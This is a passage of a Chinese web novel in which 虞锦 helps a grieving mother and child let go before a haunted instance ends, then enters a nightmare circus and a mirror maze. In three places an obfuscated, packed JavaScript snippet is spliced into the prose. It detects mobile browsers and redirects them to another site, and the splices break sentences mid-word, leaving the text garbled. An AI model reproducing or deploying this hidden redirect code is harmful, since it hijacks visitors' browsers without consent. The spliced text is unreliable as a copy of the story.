吃完饭,虞锦帮母亲收拾碗筷。 母亲忽然说: “他今天问了我一个问题。” “什么?” “他问,妈妈,你会走吗?” 虞锦的手顿了一下。 母亲继续说: “我说,妈妈不走。他问,那太阳落下去之后呢?妈妈还在吗?” 她看着窗外那个太阳: “我不知道怎么回答他。” 虞锦沉默了几秒: “那你怎么说的?” 母亲笑了: “我说,太阳落下去之后,妈妈也会在。因为妈妈有灯。” 虞锦看着她。 她脸上的表情很平静。 但眼睛里有一点东西。 是怕。 也是爱。 晚上,虞锦睡在木屋里。 小宝已经睡着了,蜷在母亲怀里,呼吸很轻很匀。 母亲也睡着了,手轻轻搭在他身上。 虞锦躺在旁边的床上,看着她们。 月光从窗户照进来,落在她们身上。 很静。 很暖。 她忽然想起自己的妈妈。 想起小时候,她也这样睡在妈妈怀里。 妈妈的手也这样搭在她身上,怕她滚下去。 那时候她不懂,觉得妈妈管得太多。 现在她懂了。 那不是管。 那是怕。 怕她受伤,怕她冷,怕她不见。 她闭上眼睛。 梦里,她也睡在妈妈怀里。 第二天早上,虞锦醒来的时候,阳光已经照进来了。 小宝蹲在门口,又在看什么。 她走过去。 小宝抬起头,神秘兮兮地说: “姐姐,我告诉你一个秘密。” 虞锦蹲下来: “什么秘密?” 小宝指着河面: “我刚才看到鱼了。” 虞锦愣了一下: “真的?” “真的。”他点头,“一条小鱼,这么小。” 他用手指比划了一下,真的很小。 “它长什么样?” 小宝想了想: “银色的。尾巴是红的。它游过去的时候,看了我一眼。” 虞锦看着他认真的样子,忍不住笑了: “那你跟它说话了吗?” 小宝摇头: “没有。它游得太快了。但明天它还会来的。” “你怎么知道?” 小宝理所当然地说: “因为它知道我在等它。” 虞锦看着他。 看着他亮亮的眼睛,看着他认真的小脸,看着他那个小小的、但很坚定的表情。 她忽然明白了一件事: 这孩子,不是在等妈妈了。 他是在等鱼。 等那条银色的、尾巴是红的、会看他一眼的鱼。 他已经有了新的期待。 母亲从屋里出来,看到他们: “说什么呢?” 小宝跑过去: “妈妈,我看到鱼了!” 母亲笑了: “真的?什么颜色的?” “银色的!尾巴是红的!” 母亲抱起他: “那你明天继续看,看看它还会不会来。” 小宝点头: “嗯!” 虞锦看着她们。 看着母亲抱着小宝的样子,看着小宝搂着母亲脖子的样子。 阳光落下来,照在她们身上。 她忽然觉得,这个副本,可能不需要“改”了。 因为它已经变了。 不是因为规则变了。 是因为住在里面的人变了。 她走的时候,小宝拉着她的衣角: “姐姐,你下次什么时候来?” 虞锦想了想: “很快。” 小宝伸出手: “拉钩。” 她笑了,伸出小指。 “拉钩上吊,一百年不许变。” 小宝满意了,松开手: “那姐姐要快点来。不然鱼游走了。” 虞锦点头: “好。” 她转身,沿着河边走。 走了几步,回头。 母亲和小宝站在门口,朝她挥手。 阳光把她们的影子拉得很长。 小宝的手还在挥,小小的,一抓一抓的。 她笑了。 继续往前走。 —— 太阳又低了一点。 这是虞锦第几次来,她已经记不清了。 但每次来,太阳都会低一点。 从高高的天上,慢慢往下沉,现在只有一竿子高了,挂在河面上,把整条河都染成了金色。 小宝还是蹲在河边,看他的鱼。 那条银色的、尾巴是红的鱼,真的每天都来。 小宝说,它认识他了。每次来都会看他一眼,然后游走。 “它今天看了我两眼。”小宝骄傲地说。 虞锦笑了: “那它越来越喜欢你了。” 小宝点头: “嗯。我也越来越喜欢它。” 母亲坐在院子里,纳鞋底。 那双鞋已经纳好了,现在在纳第二双。 她说,小宝跑得多,鞋容易破,要多备几双。 虞锦走过去,坐在她旁边。 母亲抬头看了她一眼: “太阳快落了。” 虞锦点头: “嗯。” 母亲低头继续纳鞋底: “落了之后,这里会变成什么样?” 虞锦想了想: “不知道。” 母亲笑了: “我也不知道。” 她停下手里的活,看着那个太阳: “但我感觉,快了。” 下午的时候,小宝跑过来,拉着母亲的手: “妈妈,妈妈,鱼今天没来。” 母亲看着他: “没来?” 小宝点头,有点委屈: “我等了好久,它都没来。” 母亲把他抱起来: “可能它有事。明天就来了。” 小宝靠在她肩上: “要是它明天也不来呢?” 母亲想了想: “那后天可能就来。要是后天也不来,那就大后天。要是大后天也不来——” 小宝急了: “那怎么办?” 母亲笑了: “那你就继续等。等到它来为止。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386635|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小宝看着她: “要等多久?” 母亲摸摸他的头: “等到你不想等的那天。” 小宝歪着头想了想: “那我永远等。因为我想等。” 母亲的手顿了一下。 然后她抱紧他: “好。那就永远等。” 晚上,小宝睡着了。 母亲坐在门口,看着那条河。 虞锦走过去,坐在她旁边。 母亲忽然说: “我昨天做了一个梦。” 虞锦看着她。 “梦见我女儿了。”母亲说,“她长大了,二十多岁,长得很漂亮。她站在我面前,笑着叫我妈妈。” 她的声音很轻: “我问她,你怎么来了?她说,妈,我来接你。” 虞锦的心动了一下。 母亲继续说: “我说,不行,我有小宝。她说,那就一起来。” 她低下头: “然后我就醒了。” 虞锦沉默了几秒: “你想去吗?” 母亲想了想: “想。也不想。” “为什么不想?” 母亲看着屋里,看着那个睡着的小小身影: “因为他。” 她笑了,笑得很轻: “他还在等我。” 第二天早上,小宝醒来的时候,第一件事就是往河边跑。 虞锦跟在后面。 他蹲在河边,盯着河面,一动不动。 等了好久。 太阳升高了一点——如果这里的太阳还能叫“升高”的话。 小宝忽然站起来: “姐姐,它来了!” 虞锦看过去。 河面上,一条银色的小鱼跃出水面,尾巴是红的,在阳光下闪了一下。 小宝高兴得直跳: “它来了!它来了!” 他转身跑回屋里: “妈妈——鱼来了——” 母亲站在门口,笑着看他跑过来。 虞锦站在原地,看着那条河。 那条青灰色的、看不透底的河。 那条困了无数人、又放了无数人的河。 那条母亲和小宝生活的河。 她忽然觉得,这条河,真好看。 傍晚的时候,太阳开始下沉了。 比之前快。 快得多。 小宝拉着母亲的手,站在河边,看着那个太阳。 “妈妈,太阳要掉了。”他说。 母亲点头: “嗯。要掉了。” 小宝抬头看她: “掉了之后,它还会升起来吗?” 母亲想了想: “会。在别的地方。” “那我们还能看到吗?” 母亲看着他,眼睛里有泪光,但她在笑: “看不到了。但你知道它还在,就行了。” 小宝似懂非懂地点点头。 他看着那个太阳,看着它一点一点往下沉。 沉到一半的时候,他忽然说: “妈妈,我记住它了。” 母亲愣了一下: “什么?” 小宝指着太阳: “它现在的样子,我记住了。以后看不到,我也记得。” 母亲看着他,眼泪终于流下来。 但她还是在笑。 “好。”她说,“记住就好。” 太阳继续下沉。 越来越低。 越来越低。 最后—— 没了。 天黑了。 黑得什么都看不见。 但小宝没有哭。 他站在黑暗里,紧紧拉着母亲的手: “妈妈,灯。” 母亲点亮了那盏灯。 小小的光,照亮了他们的脸。 小宝看着那盏灯,笑了: “妈妈,你的灯,和太阳一样亮。” 母亲蹲下来,抱着他: “嗯。一样亮。” 虞锦站在黑暗里,看着那盏灯。 看着那两个被光照亮的人。 她忽然明白了。 这个副本,不是为了困住人。 是为了让人学会两件事: 陪伴,和放手。 陪伴那些需要你的人。 放手那些留不住的东西。 然后继续走。 继续活。 继续等太阳升起来——在别的地方。 她转身,走进黑暗里。 身后,那盏灯一直亮着。 20. 朝圣之路 虞锦在黑暗里走了很久。 不是迷路,是故意走的。 她想看看,这个副本在太阳落下去之后,变成了什么样。 走了很久,她看到了一点光。 不是母亲那盏灯的光,是另一种光。 很微弱,像是远处的灯火。 她朝那个方向走去。 走近了,她看到一座房子。 不是木屋,是砖房。 很普通的砖房,和现实世界农村的那种房子一样。 门口亮着一盏灯。 灯下站着一个女人。 年轻的女人,穿着碎花的棉袄,扎着两条辫子。 她看到虞锦,笑了: “你来了?” 虞锦愣住了: “你是……” “我是她。”女人说,“年轻时候的她。” 她指了指身后的房子: “这是我的家。” 虞锦看着那栋房子。 门开着,里面透出暖光。 有笑声传出来。 女人的笑声,小孩的笑声,男人的笑声。 “这是……”虞锦问。 “她的家。”年轻母亲说,“她真正的家。在她女儿还没死的时候。” 虞锦的心动了一下。 年轻母亲看着她: “你想进去看看吗?” 虞锦走进那扇门。 屋里很暖,炉火烧得很旺。 一个男人坐在桌边,在逗一个小孩。 小孩很小,两三岁的样子,扎着两个小辫子,笑得咯咯的。 那个小孩——是母亲的女儿。 小暖。 男人把小暖举起来,举得高高的: “飞咯——飞咯——” 小暖笑得更大声了: “爸爸——再飞——再飞——” 男人把她放下来,又举起来。 母亲——年轻的那个——从灶台边走过来,端着一碗热汤: “别闹了,该吃饭了。” 男人放下小暖,接过汤: “好香。” 小暖爬到凳子上,等着吃饭。 一家人,围坐在桌边。 灯光暖暖的,饭菜热热的,笑声轻轻的。 虞锦站在门口,看着这一幕。 她知道这是假的。 是记忆,是幻象,是那个母亲心里最珍贵的画面。 但看着,还是让人觉得暖。 年轻母亲走到她身边,也看着这一幕: “她以前,就是这样。” 虞锦点头: “我知道。” 年轻母亲看着她: “你知道她后来怎么样了吗?” 虞锦想了想: “知道。她进了无限世界,收留了很多孩子。” 年轻母亲点点头: “那你知道,她为什么收留那些孩子吗?” 虞锦看着她。 年轻母亲说: “因为她想补偿。” “补偿什么?” “补偿自己。”年轻母亲说,“她觉得自己没保护好小暖,所以想保护更多的孩子。” 她顿了顿: “但她保护的方式错了。她把他们都困住了。” 虞锦沉默。 年轻母亲继续说: “她以为困住就是保护。但她不知道,孩子需要的不是被困住,是被爱。” 她看着桌边那个正在吃饭的小暖: “小暖只活了三年。但那三年,她很快乐。因为她没有被困住,她只是被爱着。” 虞锦从房子里出来的时候,天已经亮了——副本里那种灰蒙蒙的亮。 年轻母亲站在门口,看着她: “要走了?” 虞锦点头: “嗯。” 年轻母亲笑了: “那告诉她,我一直在。” 虞锦看着她: “告诉她什么?” 年轻母亲看着那栋房子,看着里面透出来的光: “告诉她,家还在。她什么时候想回来,都可以。” 虞锦愣了一下: “她还能回来?” 年轻母亲点头: “能。只要她记得。” 虞锦回到河边的时候,母亲正抱着小宝,坐在门口。 看到她,母亲站起来: “你去了哪儿?” 虞锦看着她,看着这个和自己说了很多话、一起经历了很多事的女人。 “我去看了你的家。”她说。 母亲愣住了。 “你的家。”虞锦说,“有小暖的那个家。” 母亲的眼睛慢慢睁大: “你……你怎么去的?” “它就在黑暗里。”虞锦说,“一直亮着灯。等你回去。” 母亲的眼泪流下来。 但她没有动。 只是抱着小宝,抱得更紧了。 虞锦看着她: “你不去吗?” 母亲低头,看着怀里的小宝。 小宝抬起头,看着她: “妈妈,你怎么哭了?” 母亲擦擦眼泪: “没事。妈妈高兴。” 小宝不懂,但他伸出手,也给她擦眼泪。 母亲看着他,笑了。 然后她抬起头,看着虞锦: “我不去了。” 虞锦看着她。 母亲说: “那个家,是小暖的。但这个家——” 她看着小宝: “这个家,是我的。” 虞锦沉默了。 母亲站起来,抱着小宝,走到河边。 她看着那条河,看着那个灰蒙蒙的天: “小暖有她的家。我有我的。我们不在一起,但我们都知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392865|199466||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,对方在。” 她回头看着虞锦: “这就够了。” 太阳没有升起来。 但天越来越亮。 不是那种刺眼的亮,是那种温柔的、像清晨一样的亮。 芦苇还是绿的,河还是青灰色的,风还是吹着。 一切都没变。 但又好像什么都变了。 小宝从母亲怀里挣下来,跑到河边: “鱼!” 他指着河面。 那条银色的、尾巴是红的鱼,正跃出水面,在清晨的光里闪了一下。 小宝回头,朝她们挥手: “妈妈——鱼来了——姐姐——鱼来了——” 母亲笑了。 虞锦也笑了。 她们站在河边,看着那个小小的身影,看着那条银色的鱼,看着这条流了很久很久的河。 母亲忽然说: “虞锦。” “嗯?” “谢谢你。” 虞锦看着她: “谢什么?” 母亲想了想: “谢谢你让我知道,放手也可以。” 虞锦没有说话。 母亲继续说: “我以前以为,放手就是失去。现在我知道了,放手,是把他们还给世界。” 她看着小宝: “他不是我的。他是他自己的。我只是陪他一段。” 虞锦点点头。 她忽然想起郁白。 想起他说“忘了你,划不来”。 想起他说“一起看”。 她也想起自己的妈妈。 想起她做的饭,她打的电话,她从来不说的那些话。 每个人都有自己的路。 但路上遇到的人,会在心里留下光。 她走的时候,太阳还是没升起来。 但天已经很亮了。 亮到能看清每个人的脸。 小宝拉着她的手: “姐姐,你下次什么时候来?” 虞锦想了想: “可能很久。” 小宝瘪瘪嘴: “那我等鱼的时候,顺便等你。” 虞锦笑了: “好。” 母亲站在旁边,看着她: “保重。” 虞锦点头: “你也是。” 她转身,沿着河边走。 走了很远,回头。 母亲和小宝还站在那儿,朝她挥手。 小宝的手挥得很快,一抓一抓的,像在抓什么。 她笑了。 继续往前走。 她知道,她们会在。 那条河会在。 那条银色的鱼会在。 那个叫小宝的孩子,会长大。 那个母亲,会慢慢变老。 但她们在一起。 这就够了。 21. 永夜马戏团 邀请函是半夜出现的。 虞锦醒来的时候,它躺在枕头边。 红色的信封,封口处印着一个金色的马戏团帐篷——帐篷的帘子掀开一角,露出里面一只眼睛。 那只眼睛在看她。 虞锦拿起信封,翻转过来。 背面写着一行字,墨迹还是湿的: “午夜十二点,城东废墟。来看一场真正的表演。” 没有落款。 没有地址。 只有那行字,和那只从信封上盯着她的眼睛。 虞锦看着那只眼睛。 那只眼睛也看着她。 眨了眨。 然后闭上了。 虞锦把信封放下,看了看窗外的光柱。 凌晨三点。 距离午夜还有二十一个小时。 她躺回去,闭上眼睛。 但脑子里全是那只眼睛。 晚上十一点半,虞锦站在城东废墟的边缘。 规则之城的其他地方都有光柱照亮,唯独这里是一片黑暗。破败的建筑像巨大的墓碑,东倒西歪地立着,风刮过废墟,发出呜呜的声音——不是普通的风声,像是有人在哭。 虞锦走进去。 脚下是碎砖和瓦砾,踩上去咯吱咯吱响。她的手电筒照出的光柱在黑暗中晃来晃去,照到的都是些破烂——半截墙,塌了的房顶,生锈的铁架子。 她看了看时间。 十一点五十分。 还有十分钟。 她站在原地,听着风声。 那呜呜的声音越来越近,像是在她耳边。 不对。 不是风声。 是笑声。 很轻,很远,像从地底下传上来的笑声。 虞锦关掉手电筒。 黑暗彻底吞没了她。 笑声越来越近。 越来越近。 然后—— 灯亮了。 不是一盏灯,是无数盏灯。 红的、黄的、蓝的、绿的,从四面八方同时亮起来,把整个废墟照得像白天一样。 虞锦眯起眼睛。 然后她看到了。 一座巨大的马戏团帐篷,就矗立在十米之外。 刚才明明没有的。 帐篷是红白相间的条纹,顶上插着金色的旗子,门口挂着两盏大红灯笼。灯笼在风里晃来晃去,里面的光忽明忽暗。 帐篷门口站着一个人。 一个小丑。 涂着白色的脸,画着红色的嘴——那嘴画得很大,从左边脸颊一直画到右边,嘴角往上翘,是一个巨大的笑容。 但他没有笑。 他只是站在那儿,用那双画上去的眼睛看着虞锦。 那双眼睛是空的。 不是瞎,是那种根本没有眼球的空。只有两个黑洞,嵌在白脸上。 虞锦走过去。 小丑开口,声音尖细得像针扎在玻璃上: “欢迎光临永夜马戏团。您是今晚的第一百位观众。请进。” 虞锦站在他面前,看着那两个黑洞: “进去之后,有什么规则?” 小丑的嘴动了动——那张画上去的嘴,竟然真的动了。 “规则只有一个——” 他的笑容变大。 那张画上去的嘴,从左边耳朵咧到右边耳朵。 “笑。” 他指着帐篷里面: “进去的每一个人,都要笑。不笑的人,会成为下一个节目。” 虞锦看着他。 他站在那儿,一动不动,像一尊蜡像。 但她能感觉到,他在“看”她。 用那两个黑洞。 “你笑吗?”虞锦忽然问。 小丑愣了一下。 “你是这里的人。”虞锦说,“你要不要笑?” 小丑没有说话。 但他脸上的笑容,慢慢消失了。 那张画上去的嘴,还在那儿,但他的嘴角——不翘了。 虞锦从他身边走过,掀开帐篷的门帘。 走进去之前,她回头看了一眼。 小丑还站在那儿,背对着灯光。 他的影子被拉得很长,像一根扭曲的绳子。 他没有回头。 帐篷里面比她想象的大。 大得多。 外面看只有一个普通帐篷的大小,里面却像一座巨大的圆形剧场。观众席一层一层往上叠,至少能坐上千人。 现在坐满了。 至少看起来坐满了。 虞锦走进去的时候,所有的观众都转过头来看她。 他们脸上带着一模一样的笑容。 嘴角上扬,露出八颗牙齿,眼睛弯起来。 标准微笑。 但虞锦注意到,他们的眼睛都是空的。 和门口那个小丑一样。 不是没有眼球,是根本没有东西。只有两个黑洞,嵌在脸上,却还保持着“弯起来”的形状。 他们在笑。 用空了的眼睛笑。 虞锦找了一个空位坐下。 旁边的观众是一个中年男人,穿着西装,打着领带,笑得一脸标准。 他看到虞锦,笑着点头: “晚上好。” 声音是正常的。 但他的眼睛是空的。 虞锦点头,没有说话。 中年男人也不介意,继续笑着看舞台。 舞台上,幕布是拉着的,红色的绒布,上面绣着金色的字: “永夜马戏团——让您笑到天亮” 观众席上很安静。 只有一种声音。 呼吸声。 但虞锦仔细听,那不是呼吸。 是笑。 所有人都在轻轻地笑,“呵——呵——呵——”,像机器,像录音,像有人按下了重复播放的按钮。 虞锦坐在那儿,没有笑。 旁边的中年男人转过头来: “您不笑吗?” 他笑着问。 但那两个黑洞里,什么表情都没有。 虞锦看着他: “不好笑。” 中年男人的笑容顿了一下。 只有零点一秒。 然后他继续笑: “节目还没开始。开始了就好笑了。” 他转回去,继续“呵——呵——呵——”。 虞锦看着舞台。 幕布后面,有什么东西在动。 不是一个人。 是很多个。 影子在幕布上晃来晃去,有的高,有的矮,有的胖,有的瘦。他们走来走去,像是在准备什么。 观众席上的笑声越来越大。 “呵——呵——呵——” “呵——呵——呵——” 像潮水,像海浪,从四面八方涌过来。 虞锦没有笑。 她只是看着那些影子。 忽然,所有的影子都停住了。 他们同时转向观众席。 转向她。 幕布缓缓拉开。 舞台上站着一个男人,穿着黑色的燕尾服,戴着高高的礼帽。他的脸很白,嘴唇很红,和门口那个小丑一样,画着一个巨大的笑容。 但他是活的。 眼睛是活的。 那双眼珠子在眼眶里转来转去,扫过观众席,最后落在虞锦身上。 他笑了。 真正的笑。 “女士们先生们,”他开口,声音洪亮,“欢迎来到永夜马戏团!我是今晚的主持人,你们可以叫我——微笑先生。” 观众席上响起掌声。 那些空着眼睛的人,鼓着掌,笑着。 微笑先生抬起手,示意安静。 掌声停了。 笑声还在继续——“呵——呵——呵——” 微笑先生笑着: “今晚的第一个节目,是我们最受欢迎的节目——小丑的镜子!” 他指向舞台左侧。 一个小丑推着一面巨大的镜子走出来。 镜子是银色的,比人还高,边框上刻着扭曲的小丑脸。 小丑把镜子立在舞台中央,然后退到一边。 微笑先生走到镜子前: “这面镜子,有一个特别的功能。” 他顿了顿,笑容变大: “它能照出你最真实的表情。” 观众席安静了。 那“呵——呵——呵”的笑声,第一次停了。 微笑先生转过身,面向观众: “现在,请一位观众上台,来看看自己最真实的表情。” 他的目光扫过观众席。 那些空着眼睛的人,一个个低下头,不敢看他。 微笑先生的目光,最后落在虞锦身上。 “这位女士。”他笑着说,“您从进来到现在,一次都没笑过。您是不是觉得我们的表演不好看?” 全场看向虞锦。 那些空着的眼睛,都“看”着她。 虞锦站起来。 “不是不好看。”她说,“是不好笑。” 微笑先生的笑容顿了一下。 只有零点一秒。 然后他笑得更大了: “不好笑?那您一定需要一个真正的笑。来吧,上台来,让镜子照照您。也许您会发现,您其实很想笑。” 他伸出手,指向虞锦。 全场开始鼓掌。 “来——来——来——”他们齐 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她伸出手,从镜子里探出来。 那只手是凉的,抓住虞锦的手腕。 冰一样凉。 “进来吧。”镜子里的“她”说,“进来和她们一起笑。” 虞锦低头看着那只手。 那只手和她自己的手一模一样。 同样的肤色,同样的纹路,同样的指甲形状。 但那只手在用力,把她往镜子里拉。 观众席上,那些空着眼睛的人,都在笑。 “呵——呵——呵——” “呵——呵——呵——” 虞锦抬起头,看着镜子里的“自己”。 她也在笑。 笑得越来越大,大到脸都开始扭曲。 虞锦忽然开口: “你不是我。” 镜子里的“她”愣了一下。 “你是假的。”虞锦说,“真正的我,不会这样笑。” 她甩开那只手,后退一步。 镜子里的“她”表情变了。 笑容消失,变成愤怒。 那张脸开始扭曲,像融化的蜡烛,五官往下淌。 最后变成一张空白的脸。 没有五官。 没有表情。 什么都没有。 微笑先生站在旁边,看着这一幕。 他脸上的笑容,第一次收起来了。 他看着虞锦,眼神复杂: “你……你怎么做到的?” 虞锦看着他: “做到什么?” “不被她拉进去。”他指着镜子,“她是你自己。你有的情绪,她都有。你没发现的情绪,她也有。她应该能把你拉进去的。” 虞锦想了想: “因为她说的不对。” “什么不对?” “她说‘很快你就会笑了’。”虞锦说,“但我已经会笑了。” 微笑先生愣住了。 虞锦看着他: “我会笑。不是那种假笑,是真的笑。有人能让我笑,有事情能让我笑,有回忆能让我笑。所以我不需要她来教我笑。” 微笑先生沉默了很久。 然后他低下头: “我……我已经很久不会笑了。” 他抬起脸。 那张画着笑容的脸,慢慢融化。 和镜子里的那个“她”一样,五官往下淌。 最后变成一张空白的脸。 没有眼睛,没有鼻子,没有嘴。 只有一个光滑的面具。 虞锦看着他: “你是人吗?” 那个空白的脸对着她: “以前是。” “现在呢?” “现在……”他顿了顿,“现在我也不知道。” 观众席上,那些空着眼睛的人还在笑。 “呵——呵——呵——” 但他们脸上的笑容,也在慢慢消失。 一点一点,像褪色的照片。 虞锦站在舞台上,看着这一切。 看着那些空着的人,看着那张空白的脸,看着那面还在反光的镜子。 她忽然明白这个副本是什么了。 不是让人笑。 是让人忘了怎么笑的人,来这儿找回笑。 但找回的,都是假的。 真的笑,从来不在镜子里。 22. 永夜马戏团 镜子里的世界和外面不一样。 不是颜色不一样,是声音不一样。 外面有那些观众的“呵——呵——呵”,有微笑先生的话,有自己的呼吸声。 这里什么都没有。 静。 死一样的静。 静到能听见自己血液流动的声音。 虞锦站在原地,看着周围。 四面八方的镜子,把她围在中间。 不是一面,是无数面。 大的,小的,方的,圆的,长的,短的——每一面都反着光,每一面里都有一个“自己”。 她们穿着一样的衣服,梳着一样的头发,用一样的姿势站着。 但她们的表情不一样。 左边那个在笑。 右边那个在哭。 前面那个面无表情。 后面那个——在看她。 虞锦转过身。 后面那面镜子里,站着一个和她一模一样的人。 但那个“她”没有动。 只是看着她。 用那双和她一模一样的眼睛。 虞锦往前走了一步。 镜子里的“她”也往前走了一步。 虞锦停下。 镜子里的“她”也停下。 但嘴角动了一下。 虞锦盯着那张脸。 是自己的脸。 但那个表情——不是自己会做的表情。 嘴角往上翘,眼睛里却没有笑意,只有一种奇怪的——期待。 像在等什么。 等什么? 虞锦没有理她,继续往前走。 镜子迷宫比她想象的大。 她走了很久,看到的只有自己。 笑的那个,哭的那个,怒的那个,怕的那个,累的那个,空的那个—— 每一个镜子里都有一个自己。 每一个都在看她。 但她们都不动。 只是看。 看得虞锦后背发凉。 她停下脚步,看着最近的一面镜子。 这面镜子里的自己,表情和她现在一样——警惕,审视,微微皱眉。 她看了三秒。 镜子里的“自己”忽然笑了。 不是那种冷笑,不是那种假笑,是一种—— 虞锦说不清。 像是看到老朋友的笑。 虞锦后退一步。 但镜子里的“自己”已经伸出手,从镜子里探出来了。 那只手是凉的,抓住虞锦的手腕。 冰一样凉。 和刚才那个镜子里的自己一样。 “别跑。”她说,声音从镜子里传出来,闷闷的,“我就是你。你有的情绪,我都有。你没发现的情绪,我也有。” 她从镜子里走出来。 站在虞锦面前。 一模一样。 衣服,头发,身高,脸—— 连呼吸的节奏都一样。 她看着虞锦,眼睛里忽然有了一点光。 不是那种空洞的光,是真的光。 “你最近是不是觉得很累?” 虞锦的心跳漏了一拍。 那个“自己”继续说: “你帮了那么多人。周明远,林真,林真她妹妹,郁白他爸,郁白他爷爷,母亲,小宝——你帮了那么多人,谁帮你?” 她走近一步。 太近了。近到虞锦能看清她睫毛的弧度。 “没有人。”她说,声音很轻,“所以你才会来这儿。因为你也想笑一下,对不对?” 虞锦看着她。 看着她那双和自己一模一样的眼睛。 那双眼睛里有东西。 是疲惫。 是那种帮了所有人、却没人帮自己的疲惫。 虞锦见过这种疲惫。 在第一任眼睛里见过。 在那个活了三百年的女人眼睛里见过。 在母亲眼睛里见过。 在很多人眼睛里见过。 现在,在她自己的眼睛里,也看到了。 “笑一个吧。”那个“自己”说,“笑完就不累了。” 她伸出手,轻轻碰了碰虞锦的脸。 那只手是凉的。 但那种凉,不是冰的凉,是—— 是没有人抱的凉。 虞锦忽然明白了。 这个“自己”,不是别人。 是她自己心里的那部分。 那部分累了、倦了、想放弃、想有人抱的部分。 她一直把它压着。 压得很深。 深到以为它不存在。 但现在,它从镜子里出来了。 虞锦看着她。 看着她眼睛里那一点微弱的光。 然后她笑了。 不是假笑,是真的笑。 那个“自己”愣住了。 “你……你怎么……” 虞锦看着她: “因为你说对了。我是累了。” 那个“自己”张了张嘴,没说出话。 虞锦继续说: “但累的时候,有人陪我。” 她想起郁白。 想起他在月光下说“忘了你,划不来”。 想起他爸做的汤,热热的,从嘴里暖到心里。 想起小北躺在摇篮里,睁着眼睛看天花板的样子。 想起小宝拉着她的手说“姐姐快点来”。 想起母亲站在河边,抱着小宝,朝她挥手的样子。 “所以我不需要笑给别人看。”虞锦说,“我需要笑的时候,有人会让我笑。” 那个“自己”的表情变了。 从期待,变成茫然。 从茫然,变成扭曲。 她的脸开始融化。 像蜡烛一样,五官往下淌。 眼睛流下来,顺着脸颊滑到下巴。 鼻子塌下去,变成一个洞。 嘴巴歪了,裂开,合不拢。 最后变成一张空白的脸。 没有眼睛,没有鼻子,没有嘴。 只有一个光滑的面具。 她站在那儿,用那张空白的脸对着虞锦。 然后她开口,声音从空白的脸上传来: “你比我幸运。” 虞锦看着她。 “我在这儿待了很久。”她说,“等一个人来陪我。等一个人来抱我。等一个人来让我笑。” 她抬起手,摸了摸自己的脸: “但我等到的,都是假的。他们进来,看到我,害怕,跑掉。或者被我拉进来,变成那些空眼睛的人。” 她放下手: “只有你。你不怕我。” 虞锦沉默了几秒: “你是我。我怕你干什么?” 那个空白的脸顿了一下。 然后她笑了。 没有脸,但虞锦感觉到她在笑。 “走吧。”她说,“往前走。前面有出口。” 虞锦看着她: “你呢?” “我?”她想了想,“我留在这儿。等你下次来。” “下次?” “嗯。”她说,“你还会累的。累了就来。我在这儿等你。” 虞锦看着她。 看着她空空的脸上,什么都没有。 但她忽然觉得,这张脸没那么可怕了。 “好。”她说。 她转身,继续往前走。 走了几步,回头。 那个空白的“自己”还站在原地,朝她挥手。 没有脸,但那个挥手的姿势,很温柔。 虞锦继续走。 镜子还是那么多,但表情不一样了。 那些哭的、笑的、怒的、怕的,都不见了。 只剩一种表情。 平静。 每一个镜子里的自己,都和她一样平静。 看着她,像看老朋友。 虞锦走着走着,忽然看到一扇门。 不是镜子,是真的门。 木头的,红色的,上面挂着一块牌子: “出口” 她走过去,推开门。 门后是一条走廊。 很窄,很暗,两边是墙。 墙上挂满了画。 不是普通的画,是照片。 一张一张,黑白的,装裱在木头框里。 虞锦走近看第一张。 照片上是一个小丑。 涂着白色的脸,画着红色的嘴,头上戴着一顶彩色的小帽子。 他在笑。 真正的笑。 眼睛弯弯的,嘴角翘翘的,露出两颗有点歪的牙齿。 虞锦往下看。 第二张,还是那个小丑。 站在舞台上,对着观众鞠躬。 观众席上坐满了人,都在鼓掌,都在笑。 第三张,小丑和一个女孩。 女孩很小,五六岁的样子,骑在小丑肩膀上,笑得露出两颗缺了的门牙。 小丑仰头看她,也在笑。 第四张,第五张,第六张—— 一张一张,都是那个小丑。 在不同的地方,和不同的人,笑着。 但越往后,他的笑容越少。 第七张,他在笑,但眼睛不笑了。 第八张,嘴角还翘着,但脸上已经没有光。 第九张,他在笑,但那笑容——像假的。 第十张,他已经不笑了。 第十一张,他站在一面镜子前,看着镜子里的自己。 镜子里的他,也没有笑。 第十二张,最后一张。 他站在舞台中央,周围一个人都没有。 他在笑。 但那笑容—— 虞锦看着那张照片,忽然觉得心里发凉。 那笑容,和观众席上那些空眼睛的人一模一样。 标准微笑。 嘴角上扬,露出八颗牙齿,眼睛弯起来。 但眼睛里什么都没有。 空的。 照片下面贴着一张纸条: “永夜马戏团创始人——小丑阿笑” “他曾经是世界上最快乐的人。后来他发现,观众只想看假笑,不想看真的。他就学会了假笑。学会之后,就忘了真的。” 虞锦站在那张照片前,看了很久。 照片里的阿笑,还在笑。 用那双空了的眼睛笑。 她想起门口那个小丑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 